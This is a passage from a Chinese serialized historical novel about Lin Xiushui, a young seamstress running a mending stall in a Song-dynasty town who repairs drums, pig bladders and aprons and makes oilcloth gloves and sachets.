熬个大夜补完这些东西,又起个大早出摊,她困得直打哈欠,每次越晚睡越早醒,以至于起得太早,人影都没一个。 倒也不是没有,那人影抱着一面红色小鼓在桥上,桥下,左边,右边来回转悠,林秀水看她也不太像要轻生的模样,嘴里念念有词。 林秀水怕她不注意,摔在这条路上,或是跌进河里去,便遥遥招手,手放嘴边喊道:“娘子,前头的那位小娘子,” 这会儿实在早,五更天才过去不久,摆夜市的人都歇工回去,一有点响动,隔得老远也能听见。 那抱小鼓的娘子慢慢走过来,涂着红艳的妆,应当是南瓦子里的路岐人。 林秀水的注意力全在她抱着的小鼓上,指了指问道:“是鼓坏了吗?” 那娘子缓慢摇头,她有一把好嗓子,此时低哑地说:“鼓没坏。” “我寻思你起早在这走来走去,担心你出事,这才喊你声,若是鼓坏了,我也能帮你瞧瞧,”林秀水说完,又见她穿得实在单薄,抱鼓抱得很紧,“要不我给你端热汤?” 朱七娘谢了她的好意,林秀水给她倒了碗热水,她喝了几口后才道:“我是南瓦子那的嘌唱,你叫我朱七娘便成,”朱七娘拍拍鼓,“它没坏,我们唱耍曲儿要敲小鼓,不敲小鼓,敲杯盏的那叫打拍,我从前两种都算得上好,本来还能给小娘子你唱上一段的。” 她摇摇头,“可我这会儿唱不好。” “起早上这里转悠,也是从前在这里做过嘌唱的。” 林秀水冒昧问道:“怎么唱不好呢?” “我从前有面鼓,使了八九年,坏了补,补了再用,连上头的钉痕有几处都清楚,”朱七娘起了倾诉之意,“后来彻底裂了,怎么都补不好,换了同样的新鼓后,拍的声不对,我怎么也唱不好了。” “那换种鼓呢?” 朱七娘笑笑,“从前我们这行,换鼓是大忌,怕换了鼓拍后不会唱,到临安后,我们这行时常换鼓,换大鼓、换小鼓、换拨浪鼓,哪怕换再多鼓,人家还没敲,也知晓是什么声,没趣得很。” “那试试自己做新鼓呢?”—— 作者有话说:更新啦,红包[撒花][撒花][撒花] 第24章 第 24 章 补什么东西? “你要试试自己做面鼓吗?” 林秀水如此问朱七娘。 朱七娘面上些许惊愕, 她从没有想过,抱着鼓犹豫地说:“可你不是做缝补营生的?怎么会” 话里未尽的意思是,做鼓真的能行吗?又或者朱七娘看走眼了, 眼前这个小娘子实则是个鼓匠? 她小心发问:“小娘子家里有人做鼓的?” “不是啊,我连鼓都没摸过几回,”林秀水在翻找她的布篓子, 想找一块合适的绢布。 朱七娘已经有些后悔,又自认喝了人家的茶水,不好扭头就走,只好按捺住, 看林秀水葫芦里卖的是什么药。 林秀水说的鼓很简单,是面手鼓,一个竹圈, 一张布,再来瓶鳔胶水便能做。 她找张木匠拿了个竹木圈,是从竹筒顶锯下来的,她把绢布和鳔胶水放在桌子上,跟朱七娘说:“把绢布盖在竹圈上,边缘涂鳔胶水就行,我会把它箍紧的。” 朱七娘啊了声, “这样做出来是鼓?” “对呀, 这种是简单的手鼓。” 朱七娘半信半疑, 她不大会驳别人的面子, 放下自己的鼓,坐在凳子上,笨拙地摆弄,将鳔胶水涂在竹圈边上, 一点点把绢布粘上去,粘到整张绢布变得紧绷。 这种做法实在简单,她做完也仍不相信,林秀水不管她信不信,用绳子紧紧裹住竹圈,绢布极为平整而紧绷。 “你试试拍拍看,用手掌拍在布上,”林秀水将简易手鼓递过去。 朱七娘接过来,她看了眼这被五花大绑的竹圈,伸出手轻轻地拍在绢布上,当她手掌拍上去时,传出的不再是她熟悉的声音,不是那种属于木鼓沉闷的咚咚声,而是带点轻盈的嘣嘣。 她忽然有了兴致,用手拍了好些下,完全不同的鼓声刺激着她,按韵律地打拍。 “ 这居然真的能拍出声来,跟木鼓全然不同,”朱七娘有些惊讶,又有些兴奋地说。 林秀水告诉她,“还有更不同的,你可以试试在底下加串铃铛,或是加在手鼓竹圈里头,亦或是换做皮子盖在上头,击打出来的声音都不同。” 眼下时辰还早,她又带着朱七娘试了试在上头加一层布料,或是放把剪子,或底下再糊绢布,朱七娘惊喜地发现,所有声音全然不同,她从未听过。 “我从前只知打鼓,分给我什么样的鼓,我只管打鼓跟唱,那面跟了我八九年的鼓坏了,再换其他的鼓,我就怎么也唱不好了,”朱七娘低头摸鼓,“原来一个简单的布鼓竟也有这样多的名堂,我却这般,哎…,实在惭愧。” 林秀水将自己的布叠放好,转过身来说:“有句话叫旧的不去,新的不来,这放在鼓上也是同样的。” “虽然我们做缝补的,总是说补补还能用,但实在补不好的东西,时常执拗于它坏了,其实是在跟自己较劲。” “鼓坏了便是坏了,再做新的也不是从前那面鼓了,”林秀水说,总要接受一样东西的离开,人也是啊。 “做这面手鼓,也是想告诉你,既然换了很多鼓都不满意,可以自己试着做一面新的鼓,自己做的总归不一样。” 林秀水话言尽于此,其实她跟人家也不相熟,本不应该说这么多话的,只是有时候人钻牛角尖,她帮忙钻一钻也好。 朱七娘看这面手鼓,又看林秀水,站起来道:“多谢小娘子,这八九年日日在手的东西,突然坏了,便觉得哪哪都不对劲,心里空落落的。其实确实什么鼓也不是从前那面,不如寻面新的。” 她赶紧掏钱袋,忙问道:“耽误小娘子你做买卖了,这面鼓多少银钱?” “鼓是你自己做的,竹圈是别人给的,布一文钱也算不上,给我钱做什么,”林秀水摆摆手,“你拿走吧,哪日能唱好了,给我唱段耍曲儿便是。” 又跟朱七娘拉扯了会儿,林秀水低头整理自己的摊子。 其实这世上有喜新厌旧的,有长情念旧的,按她说,各有各的好吧。 而她还真认识个念旧的,什么东西坏了也不舍得扔,说买它们来时欢欢喜喜,怎么好坏了就给扔出去。 在她摊子上补了十八样东西了,有戴了十几年的绢花、家里的旧席子、旧破罩子,乱七八糟的什么都有。 这不,刚卯时钟鼓敲响,张大娘又来补她的第十九样东西了。 “大娘,今儿个又补什么东西呀,”林秀水擦了擦剪子,笑眯眯地问。 张大娘也笑,将手里的门帘递过去,“今儿个可不是我补东西,是我前头那家茶坊门帘子裂了口,想寻人修修,我就把这活揽过来给你,有十文呢。” “你看,裂了三道口子。” 张大娘将十文钱放在桌上,她小声说:“以后我给你留意着,别人有什么活,我先给你揽了再说,你要是不能干,我再给推了。” 林秀水手握线板,拉出绒线,闻言笑道:“那我可就日日盼着大娘你给我拉生意了。” “应当的,应当的,你给我补那些器物都不嫌弃,我自然要给你招揽生意。” 林秀水又说笑几句,补完这门帘,送走张大娘后,将昨日补完的东西摆到旁边,等着收剩下的定钱。 这是她每日最喜欢的事情,一手交钱,一手交货,她就听袋子里的铜板叮叮当当地响。 将渔网给捕鱼人,赚五文,补好灯笼给对岸打水娘子,赚十文钱,长褙子改成短褙子再上领抹,赚二十文,小孩裤子加猫头补丁,赚两文… 林秀水将钱一笔笔数好放进钱囊里,今日已经赚了七十三文,她正算完,有位娘子领着小孩过来,小孩手里抱了一堆裤子。 走路走得踉踉跄跄,林秀水上前接过,数了数,啧,十条破洞裤子,不是破在膝盖,就是裆裂了。 那娘子气得牙痒痒,“我是拿他没法了,日日给他补,补完又撒欢跑出去,那外裤破得哪哪都是,我算是彻底没辙了,阿俏,你给他补,也不求好看,补得越牢越好。” “我没法给他补,越补越来气,恨不得拿那竹棍抽他。” 那小孩装乖喊娘,他娘道:“我不是你娘,我是你后娘。” “后娘,”小孩喊。 那娘子抄起一条裤子来就追着打,林秀水补裤子时摇摇头,真傻。 十条裤子二十八文钱,林秀水接过钱心里欢呼,过百文了! 今日也没有特别的活计,林秀水倒是碰见了李习闲,前头那个带鸡来叫他给做鸡毛衣裳的,今日又带了他的鸡。 远远的,一人一鸡便开始喊,人喊:“小娘子,你等等”,鸡喊:“啊啊啊,喔喔喔” 林秀水想假装听不见,实在有点丢脸。 她慢慢转过身,“怎么,不会鸡毛又掉了吧。”“没有,”李习闲三步并作两步跑上来,喜气洋洋的,把怀里的鸡掰开衣裳给它瞧,指着那一处小小的毛,“它长鸡毛了!” “自打从你这回去后,我时时给它拿照子瞧,激一激它,我们铁公鸡最有斗志了,一起斗志,什么都吃得下,一吃东西长出点毛。” “你不晓得我看见时多高兴,急匆匆过来找你,”李习闲说的时候,蹲下来勾勾脚跟,连鞋也没穿好,“小娘子,我这辈子没谢过谁,就真的谢你了。” “你说,我给你包个红封,再让铁公鸡给你磕头,认你做干姐行不行?” 林秀水往后跳一步,把她吓得结巴,“这大喜事,给个三两文意思下,这做干姐什么的,我觉得还是免了吧。” 李习闲不死心,“那做面招幌?写救鸡一命,我给你敲锣打鼓送过来?从南货坊最边上那里过来,叫桑桥渡的都知道。” 都知道什么,知道她做鸡毛衣裳吗? 林秀水吓得连连摇头,“可别。” “哎,”李习闲只好作罢,又转头拍拍铁公鸡,“那小娘子再给他做几身衣裳吧,等它长了毛,我天天领它出门去,以后年年给它做衣裳。” “这斗鸡也得活个斗鸡样,我李习闲的斗鸡就得不同旁人一样。” 林秀水揉揉眉头,都什么东西,一人一鸡目光灼灼看她,她索性破罐子破摔,“五十文一件,鸡跟人不是一个价。” 李习闲连连应声,一百五十文说掏就掏,又塞给林秀水很厚一个红封,她没要,拿了三文钱算是应喜。 目送这一人一鸡远去,林秀水长舒一口气,一摸手里有了汗,敲锣打鼓送她招幌什么也太可怕了,以至于得了一百五十文都没那么高兴。 到成衣铺里,大春玲在扛布匹,林秀水两只手抱一匹,她一手抗两匹,还冲林秀水说:“给你带了炙焦肉油酥。” “我娘说,学了你一星半点的手艺,要将你当师父看,叫我带些东西来送你。” 小春娥探出圆圆的脑袋,手里拎着两袋肉油酥,小嘴叭叭,“我娘不叫我们白占你便宜,这是肉油酥,这是荷叶饼,我娘拿手好菜,她说下回到我们家吃,给你烧她从来没烧过的大菜,羊蹿四件。” 眼下羊肉九百文一斤呢,是从湖州来的湖羊。 林秀水挠了脑袋,“你们两个这样做,叫我怪不好意思的,那以后可不得念着肚子里的这点油饼,好好教一教。” 她并没有完全推拒,大方接受,吃了再好好教,让别人也放心。 她们三个人高高兴兴地分吃肉油酥,吃饱早起上工才有劲。 今日熨完满裥裙,还得熨六匹新布,林秀水若没人帮忙,她一个熨不了那么快,顺势也教了大春玲如何垫布、看熨斗的火候等等。 下了工,她真不想熨布了,但看见跟顾娘子闲谈的于三娘子,她知道,前头应下的活计终究来了。 “我正说着呢,来了匹新布,你们娘子说你都上布行长眼力去了,刚好 能帮我来瞧瞧,”于三娘子走过来说。 林秀水当然不会推辞,她还想上桐油作瞧瞧她的油布手套进展。 她路上问于三娘子,“娘子这油布的价还是两三贯一匹吗,有没有便宜些的?” “我想在油衣作里买些油布来。” 于三娘子想想才道:“这价钱贱得也有,是好油布,反复涂桐油三四遍的那种,只有一点,这种布成色差,斑点子多,六百文半匹,你要是想要,我给你留着。” 林秀水手里还真有六百文,除去各种赚来的钱,大头出在李习闲和姚娘子给的香囊钱,有两百多文。 攒了好久,一花便花没影了,林秀水心痛,但她又那么相信,她的油布手套能赚上一笔,前提是不漏水。 于三娘子寻她的活不算简单,这批要熨的布倒是很平常,就是细绢,但林秀水反反复复熨不好。 她说:“等我先瞧瞧。” 一一检查,铜熨斗没问题,布没问题,炉子没问题,她的目光落在炭上。 她认为炭绝对有问题,铜底受热不均匀,所以她拿熨斗熨布,温度正好的时候,一边能熨平,另一边还是起褶皱。 把炭一一夹出来,又瞧不出任何名堂,林秀水在这上头没有好眼力。 她便说:“娘子,这炭或许不大行,布才熨不起来。” 许三娘子发愁,“这从前的烧炭师傅到临安去了,一时没寻着个好人手,眼下的也不大得用。” 林秀水忽而笑起来,她很有底气地说:“我有个烧炭很厉害的小友,我请她来帮忙,她一定看得出来。” 小春娥是头回到油衣作里来,她一听来喊话的,是林秀水请她帮忙,二话不说便来了。原本有些打怵,见了林秀水忙跑过去,一听是叫她看看炭火,管炉子烧炭的。 她立时不怕了,上去瞧木炭,抖了抖炭篓一眼瞧出来说:“这炭一半是焖在炭火甏儿里的焖炭,一些是用煤打出来的,还有些是不会出烟的松炭。” “炭是不能掺一块,焖炭要和焖炭一块放,这焖出来的木炭也有好坏,烧炭前要先挨个炭挑出来,轻炭烧得快,重炭红得慢…” 小春娥半点不磕绊地说,说时已经取了火钳子来,将炭一点点挑出来,她眼力好,明明炭黑的差不多,可她偏能瞧出来,一堆堆分好,上炉子烧,再熨布出来便是平平整整。 油衣作熨衣难的问题被两个小娘子解决,许三娘子还送她俩一卷油布和三十文钱,叫她们常上油衣作里来。 小春娥出了门才说:“阿俏,你摸摸我手,抖得很,我还是第一次在外头烧炭。” “你做得很好啊,”林秀水摊开手比划,“当时我看你,简直像在黑炭里发出了蜡烛的光。” “等你学会烧多多的炭,保不准以后我要见你,得上油烛局里去请你。” 小春娥心里美,她感觉自己烧炭头次得到了外人的认可,但听林秀水这么说,拿油布轻轻打她,“你再拿我取笑,我可得打你。” 林秀水要去趟桐油作,小春娥便只好先走了,于六娘早回家了,她一个进去的。 拿到桐油作里大家用过的油布手套时,她眨了眨眼,这跟她预想的光滑平洁完全不一样。 她不敢相信自己的眼睛,这手套像癞哈蟆身上起的疙瘩皮。 有涂桐油伞的娘子说:“这手套初时最好用,久了桐油滴得多了,那上头便有一个个桐油包,我们用铲刀给刮下来的。” “但这手套比空手好用,”另外个娘子说,“只是我们不大要用油布的,换些轻薄点的布料就成。” 林秀水一一记下大家的需求,收回这些油布手套,准备换批新的麻布手套给他们。 但这旧手套怎么办呢? 林秀水同张木匠大眼瞪小眼,她给自己辩解:“桐油在桌上能打磨平整,在手套上打磨,应当也可以的吧…” “张叔,人不能守老规矩,你看我缝补衣服的,旁的偏门的,只要能缝的,那接过来不都是钱。” 张木匠咳一声,他压根没想将活往外推,此时清清嗓子道:“我方才在想,要不要做个手模子套进去罢了,钱记得给。” 林秀水就知道,人哪会拒绝送上门的银钱。 打磨出来的手套毛糙糙的,林秀水拿回去,小心浸一层桐油,倒挂着任风吹晾干。 王月兰出来倒水,被檐下的几双手套吓一跳,她摸摸乱颤的心,迈进门槛说:“阿俏,你怎么又折腾起油布手套来了?难不成还想做这门买卖?” 林秀水敲了敲脖子,她放下刷子说:“想做这门买卖。” 她跟王月兰说了自己的打算,“这手套做起来是最简单不过的了,要是能不渗水,我就能卖给洗衣行里的人去。” 至于不用其他布做手套,做出来也得有人买才行,布手套她暂时除了桐油作,还找不出其他人要买。 但油布手套能成的话,洗衣行里的洗衣妇绝对是她的潜在主顾。 洗衣行在香水行边上,同香水行香汤环绕,热气腾腾的不同,洗衣行常年用河里打的冷水洗衣,冬日水冻成冰,敲碎冰渣子,到炉子上烤一烤,等水化了再洗。 洗麻布衣裳的小九跟林秀水说:“都说世上有三苦,撑船、打铁、磨豆腐,我说洗衣的最苦,你瞧瞧我这手。” 林秀水将油布手套装好,看小九的手,指节粗大,红通通的,翻过来手指头泡浮囊了,白花花,皱巴巴的。 “我们洗衣要拧,要捶,要打,要上浆,要泡衣裳,”小九笑笑,“哪哪都得用一双手,你要真有能洗衣好使的东西,我花二十文也会买。” 林秀水摇摇头,“这会儿不要你买,你拿去试试,洗上几日,看看多久进水,要是进水了,你来顾家成衣铺找我,我在那上工。” “你别套上觉得难受不用,这手套我试过的,像麻布衣裳多捶捶那样,它多穿穿会软的。” 小九接过她递来的十双手套,仍打心底认为这东西古怪,难不成是从外来的新奇货? 但又不收她的银钱,只叫她分去给大伙使使,这用油布做的哩,白占油布便宜谁都乐意。 是以小九拿了油布手套,进到洗麻布麻衣的作坊,谁手最疼,谁手泡到破皮给谁。 她自己也带了双,使劲捏了捏,像东西箍在手上,很难受,揉衣裳的时候也不像自个儿手那般灵活。 但洗了几件衣裳后,角落里有个娘子惊喜道:“我喜欢这东西,包着手浸冷水里也不觉得冰,我手这些日子裂了口子,疼得没法碰皂角水。” “有这叫什么手套的,手不疼,多洗两件衣裳,能多领两文工钱,每日多两文,一个月能多买两升米。” “小九,在哪拿的,你快去问问。” 到成衣铺下工,林秀水看见小九,惊讶地问:“这么快便进水了?” 她做的东西有这样差吗? “没有没有,”小九连声否认,捏着衣角说,“我们觉着好用,想找你多买些来,这一个要多少?” “油布贵,桐油贵,要二十文一双,你们几个人定?要等三四天才有,桐油要刷好几遍,”林秀水回,“还有便是,手套会漏水,一个月里头来找我,我保证给补,过上一个月,那我便不会管了。” 这已经是她能给出最低的价了,因为这批手套照旧会漏水,她卖不了太贵,等她有钱把油布浸桐油里三四日,基本不漏,再卖贵点。 小九连连点头,“先要四十双。” 四十双是八百文,林秀水买半匹油布是六百文,半匹的尺幅能做六十双手套,桐油两罐上犟油郎那买,要好些的,两百文。 林秀水三百定钱到手,两百文便没了,剩下一百文,她去买 浆糊、铜镊子、针戳、麻线、布条等等,来充盈她不多的工具。 在南货坊跑了二十来家铺子,才用最低的价钱买到了她需要的东西。 她提着东西出来,颇有种自己在拆东墙补西墙的感觉,怎么钱越存越少。 后来她想明白了,分明是钱赚太少的缘故。 回家去后,林秀水在做油布手套时,有两个帮手,她姨母帮她剪油布手套的大小,小荷帮她分左右,林秀水缝线。 夜里小院里有桐油味,隔壁两家刚下工,在煮饭菜,屋檐上猫在叫,对岸的鸟又吊嗓子,林秀水也哼一声调,慢慢缝手套。 小荷趴在桌子上问:“为什么要做这么多套手的布?” “给很多手泡在水里的人用呀,”林秀水说,“这叫手的保护套。” 她说着,一双手套缝好,穿个小孔,用麻线穿过去,做根长短合适的绳子,可以挂在脖子上,免得手套大小不合适滑下去。 到了后半夜,她睡不着起来,见满院挂着的手套,感慨于要是有贼偷来,得吓个半死。 剪完所有手套样式后,林秀水把碎布头抖进袋子里,她眼下没什么用,但自打缝补生意多起来后,她连剪断的线头都得收好,生怕哪天能用上。 这天早上林秀水照常出摊,她喜欢在等生意时,仔细清点她的工具。 后来,她始终都忘不了这天,大早上有个男子提着两个猪小肚从远处过来,问她能不能补。 她说猪肚能补。 人家把猪小肚递给她,她以为送她吃,还假装客气,没想到,天杀的,是让她缝补!—— 作者有话说:下一章更新会在明天晚上十一点半,不好意思[求求你了][求你了] 本章发红包[撒花] 第25章 第 25 章 补物也是补心 两个猪小肚到底有什么缝补的必要? 林秀水满脑子疑问, 在她说完能补时,她看见对面那男子惊讶的神情,并听他说:“真能补?用针线补?” “什么用针线补, ”林秀水连忙叫他打住,“我是说吃这玩意能补身子而已。” “李习闲这人说你什么都能补,说那鸡毛衣裳也是你做的, 叫我上你这来指定没问题,小娘子,我叫皮六,是打蹴鞠的。” 皮六笑嘻嘻说完, 将手里那两个鲜猪小肚换了只手,从袋里掏出两只薄皮褐色的皮套,那就是干后的猪小肚。 原本猪小肚也叫猪泡, 是制作好后装在蹴鞠里的球芯,外面再缝十二瓣软牛皮,所以又被称皮鞠。 林秀水之前从百补婆婆那见过人补蹴鞠,那时她便问过,这蹴鞠用的是里缝线,只要外头皮子裂了,用里缝线的缝法缝起来便可。 可若里头的皮芯破了, 蹴鞠凹下去瘪气了, 就得归皮匠管, 他有专门给皮子打气的东西, 叫打揎。 林秀水一听李习闲这名字,她心想怪不得,这能跟他玩到一块的,指定臭味相投。 起得早本就心烦, 一见这活,林秀水真心不想搭理,她说:“这种薄皮子,又裂了口的,你问问皮匠去。” “不然叫我一边吹气,一边给你用针补吗?” “小娘子,你真不得了,居然还会这样的法子,”皮六瞪大眼睛。 哪里来的二愣子。 林秀水张了张嘴,无言以对,她叉腰说:“我说不能补。” “李习闲还交我一招,”皮六完全不怕,举起根手指头说,“他说,小娘子说补不了一定是钱给得不够多。” 他开始往上抬价:“二十文,三十文,五十文,六十文!” 皮六喊完才发觉,嘿,六十文能再买两副鲜猪小肚了,亏了,亏大了。 林秀水一听他这话,完全不觉得羞愧,反而想,六十文两张皮子,谁不补谁是傻子,反正她不是。 而且这确实是林秀水的命脉,她可以拒绝两个猪小肚,但拒绝不了六十文。 谁会跟钱过不去。 “拿来瞧瞧,”林秀水撸起袖子,能宰人六十文,她绝对不手软。 用手捏起一个猪小肚,她咦了声,“怎么一股酒味?你不是说装蹴鞠的皮芯?” 皮六笑笑,“这是做皮芯的一种法子。” 他倒是想跟林秀水讲实话,实则有苦难言,要真是装蹴鞠里的皮芯的话,满大街他随便寻个皮匠去,这是他用来运私酒拿去卖的。 官库管酒管得严,不许平头百姓家中私自酿酒,哪怕酿一小罐酒,被人偷报上去,酒务脚子都要来缉拿,卖酒的店家管得更严。 可酒税又奇高,自打出来个隔槽法,酿酒被强行摊派酒钱,最多一月可达四五贯,皮六有个开直卖店的好友,这直卖店只卖酒,不卖下酒吃食,近来酒税高涨入不敷出,皮六只好铤而走险帮他卖私酒,多赚些。 寻常酒具实在显眼,酒务脚子一查便知,皮六打蹴鞠的,手里经手的猪小肚最多,他便起了拿这运酒的心思,毕竟谁家好酒会装猪泡里头。 但这猪小肚不经用,只要一贪心装多点必裂,赚的钱大半又拿去买鲜小肚,一个鲜的三十文,皮六愁得掉头发,一听李习闲说这有能缝补的,才动了心思。 皮六心里苦兮兮,转头笑眯眯:“劳烦小娘子你帮我瞧瞧,能补便补一补,我那还有好些呢。” 林秀水噢了声,没有深究,而是拿猪小肚扯了扯,没用力,想试试它经不经得起缝补,事实是,压根经不起。 针没法缝的东西,那就粘。 这种软塌塌的褐色薄皮,不吹到鼓起来,压根没法粘补。 林秀水拿起来,放下去,想起曾经给卖油的老丈补过的油篓,那油篓就是加油纸涂,裂口处能不能加点油纸先盖住? 后面她又否认了这个想法,突然目光凝在这两张猪小肚上,伸手摆弄了下,将两张重叠放一起,发现裂口处不一样,登时有了主意。 她赶紧跑回家去拿了小荷打娇惜的绳子,上面有截长竹管,边拆绳子边念叨,“小荷啊,要是装不回去了,阿姐给你买个新的啊。” 她扯下来,舀水洗了洗,而后跑回去,在皮六的疑惑目光里,她用竹管套住一个裂口在边上的猪小肚,拿手箍紧,伸进另一个裂口较小的猪小肚里。 然后慢慢用竹管往里吹气,幸好这竹管够长,只要憋着气,闻不到味道。 等她鼓气将猪小肚吹起来,两张皮子慢慢贴紧,皮子本就黏,裂口也贴紧了皮子,只有些许漏气。 靠皮子和皮子内里的黏合,皮裹皮,整个猪小肚被吹起来后,林秀水绑紧口子,捏住皮上的裂口,先顺着裂口处涂鳔胶水,再贴一小张油纸。 松开后,那糊了鳔胶水跟油纸的地方,将猪小肚旁边弄得皱巴巴,紧缩缩的,但不要紧,再吹气又变得很平整,而且不漏。 皮六看得目瞪口呆,他喃喃自语,“还有这样的补法,真是什么脑子才能想得出来啊。” 林秀水呸了声,竹管上头有竹丝,她点点补好的这两个,“补好了瞧瞧,没事的话给钱。”皮六不看漏不漏气,他要看漏不漏水,抄起一个往溪岸口走,灌上水,捏紧口子晃了晃,嘿,真的没往外渗水。 林秀水要是知道他拿来装酒的,渗水往外漏,都不会还他钱。 皮六回来后,掏出钱袋子就往外倒钱,也不管多少,哗啦啦倒了一堆铜板出来,吓林秀水一跳,幸好起早来往人少。 “这里应当有七八十文,全给小娘子你,”皮六挠挠脑袋,实在过意不去,“你刚那法子我都学会了。” 皮六白占了法子,心里总不得劲,但让他以每个三十文来补,他又舍不得钱,是以从心里冒出个主意。 “我们打蹴鞠的有个社,叫圆社,里面时常有牛皮子裂了的,或是缝线开掉的,我们皮匠人手少,小娘子要能补,我给你揽下这个活,一个补补能有五文钱。” 林秀水倒没急着答应,这缝衣裳的里缝线,和缝蹴鞠的并不算同种,她虽然见钱眼开,却不是所有活到跟前都会揽下,她还从没有碰过蹴鞠呢。 她数好一堆铜板,抬头道:“得先 拿一个来瞧瞧,最好裂口比较多的,我得瞧瞧能不能缝,不然应了你,到时候技艺不精,这不是坏了我自己的手艺。” 于手艺上她从不马虎,吃这口饭,不能砸自个儿的招牌。 林秀水数了三十文给自己,又把剩下的钱推出去,她说:“这钱能不能买个蹴鞠?不用太新的,只要没坏就成。” 她想买个给小荷玩,总是闷在家里,有时候出去跟其他小孩玩,也很快回来,后来她发现,是大家都有新鲜的耍货玩,小荷没有。 皮六拍拍自己胸膛,“别的我不敢说,蹴鞠多得很,我肯定给小娘子拿个好的来,明日再带个要缝补的蹴鞠。” 其实这几十文最多买个竹子编的,要是买皮鞠最少百来文,可皮六自认为得了便宜,自然得自个儿掏钱垫一垫。 等他走后,来找林秀水的活计都正常得多。 有清瘦的娘子拿条合围裙来,“阿俏,你帮我改改,我近来胖了些,这早前的合围裙竟是穿不下了,加宽点我自个儿倒是也能加,我嫌它这样式太素净了,你给我改改。” 林秀水将剪子放下,拿起那偏青的合围裙,这是样式最简单的一片式合围裙,就是裁了块长布头,在腰间加了根绳带,从身后往前穿,露出前面一半的裤子。 她找出布尺,拉了拉,“娘子,你来让我量量。” 量好宽度后,林秀水又拿起裙子说:“我刚好有批柔蓝色的布头,搭这种偏青的颜色好看,我给这裙头,裙边都加上。” “在中间腰身处,加一串酢浆草结,这寓意好运连连,娘子你觉得怎么样?若实在嫌素净,那就只能在上头绣花了,得等上好一段日子,这得绣许久。”清瘦娘子当即道:“就按你前头说得来。” 她压低声音说:“我也不计较那些,就是不想叫人看出我穿的是前几年的裙子。” 林秀水笑了声,“我帮你好好做,裙子底下再加一条白色长条边,保管别人认不出来。” “娘子给我二十三文就是,酢浆草结算是我送你的。” “那可多谢你了。” 酢浆草结通常是挂在腰间的,属于绦绳类,形状类似于酢浆草的叶子,打法分难易,林秀水都会,这是跟成衣铺前头打理衣裳的小丫头阿雅学的,她会打很多绳结。 林秀水打的不繁琐,用蓝布头加红布头,打出来像三个圆叶子,挂在一块,形成一串两个酢浆草的长结。 她打的时候还想到别的,要是将长布头换成绒线,绳子编紧些,能将酢浆草结做成香囊的抽绳,样式会更好看些。 如此想着,手上也没闲着,编好绳子,要裁出大概样式的长度和宽度,她拿出自己制作的粉袋,油布做的,大小跟手掌差不多宽,里头装了面粉,一根长线从粉袋里穿过去,这就是简易的画线袋。 林秀水请张木匠给她做了筒套,将粉袋放进去时,她拉出线来,粉袋不会动,紧绷的线沾了粉,沿着木尺或布尺边缘往下压,松手线弹走,留下笔直的线痕,跟木匠用的墨斗一般。 林秀水收好粉袋,裁布缝线,给合围裙上布片和酢浆草结,改合围裙改得快,她拍拍手上的粉痕,笑道:“娘子你试试。” 那娘子欢喜接过,连忙上身试了试,她今日穿了条素色的外裤,搭了条暗红的百褶合围裙,此时换上这条偏青带蓝的合围裙,蓝红的酢浆草结挂在前头。 她自个儿低头瞧瞧,看不出名堂来,倒是跟她一道来的娘子说:“阿姑,这颜色搭得好,原来这前头和裙片太过素净,配个绦结跳脱些,你走两步瞧瞧,动起来更显得好。” “可惜我倒没什么要改的,不然也拿到这里来试试了。” 那改裙的娘子一听,顿时觉得满意,本来这裙子是要做成桌帷的,她想想不舍得,没想到这一改,倒是让她又中意起来,不至于压箱底。 林秀水赚了二十三文,那娘子则穿着新改的裙子欢喜走了,她捶捶腰和脖子,将钱串好放进钱囊里。 接下来便是些小活计,赚个一文两文的,她就顺手给补了,要不了多少工夫。 她今天赚得不大多,七八十文,到后面下了大雨,有两位娘子帮她一起收拾东西,才免得东西被淋湿。 下了雨,又没到上工时辰,她开始琢磨香囊,姚娘子说猫头香囊扑买的人多,大抵小孩子喜欢。 她又做了兔耳朵形状的,这种最好做,先剪兔耳形状,再裁圆片收拢装艾草,缝上兔耳多就变成了圆滚滚的兔子。 不装香丸是香丸少,她省着点用,林秀水还自我安慰,兔子爱吃草的。 还有些碎布头纹样有点丑,太花哨,她都剪了按蝴蝶样式缝成香囊。 做完这两种,她用红色绒线编酢浆草结,一根太细,用两根编的,编得很窄一段,栓在香囊绳结上。 今日姚娘子冒雨也跑来,跟林秀水算香囊钱,这几日总共是五十六个香囊,折合起来是三百三十九文。 能扑出这么多,主要姚娘子自己定了个规矩,扑买四次不中便送,虽则少赚了些钱,可生意倒是更好了。 除去地段每日二十文的商税,和给林秀水的钱,也能赚些钱糊口。 姚娘子又拿了新的香囊,林秀水说:“编了酢浆草结的要贵一文。” 她笑说:“贵多少文也得买。” 只不过给了五十文定钱后,犹豫着没走,她走出去又掉头走回来说:“哎,小娘子,实不相瞒,你卖给我的香囊,尤其那种猫头的,别人博去拆了,如今这边上有好些卖同样的,且他们的香囊更秀致,用的布和花纹也要好些,买我们这的日渐少了。” 姚娘子又说要继续如此,只怕香囊卖不出去,没人来扑买。 林秀水正数着钱,闻言皱眉,其实她也有想过被别人抄去做同样的,只是没想到这样快。 这在宋朝倒是半点不稀奇,哪里什么稀奇东西摆出到摊上,立即便有相同的冒出来,香囊这种极其普通的东西是这般,就如同镜子一样,湖州石家念二叔这种大字号的,都拿仿者没法,只好加个湖州真石家念二叔的名头。 林秀水拿他们也没有法子,但她却跟姚娘子说:“那这段日子便先卖着,我这种香囊做法实则太简单,不说买回去拆线,裁缝手艺人瞟一眼就能做出来。” “你等我再琢磨琢磨些日子,弄些样式难些的。” 其实就是用好料、多下功夫,且在样式独特些,能仿的人便少。 可眼下的问题是,林秀水穷啊,她越穷出的东西越简单,手里有什么就做什么,她都有的东西,别人只会更多。 好气。 气她眼下没法子,又没有独特到完全拆不出的东西。 送走姚娘子后,林秀水先绕道到染肆那给她姨母送伞,今日这雨怕是不会停了,自己穿着油衣小跑到成衣铺,只裤脚湿了点,她今日也穿的合围裙配长裤。 哪怕烦恼如蛛丝缠在她身上,林秀水到了成衣铺也高高兴兴的,大春玲铺好布问她,“捡了铜板?” 林秀水摇摇头,“丢了不少铜板才是。” “那你还笑得这样高兴,”小春娥吃惊,忙跑过来安慰,“丢了多少呀?丢得少嘛,赚一赚就回来了,这算命的都说破财化灾嘛,丢得多了,那我们报官去。” 林秀水失笑,“我说笑的,丢了笔生意才是。”她也说了原委,小春娥抱手环胸,摇了摇头,“你找的那个娘子太软了些,我知道个扑买的娘子,她那嗓门跟狮子吼一般,她摊子上卖的东西,但凡是她独有的,旁人要是卖得跟她一样,她当街撕人家,扯人家衣裳,撒泼打滚的。” 小春娥可羡慕这种人,时常到她摊子上去扑买。 “我们下工到她那去,你卖给她也能再挣一笔不是,要是还不行,”小春娥指指在边上瓣布的大春玲,“我叫大 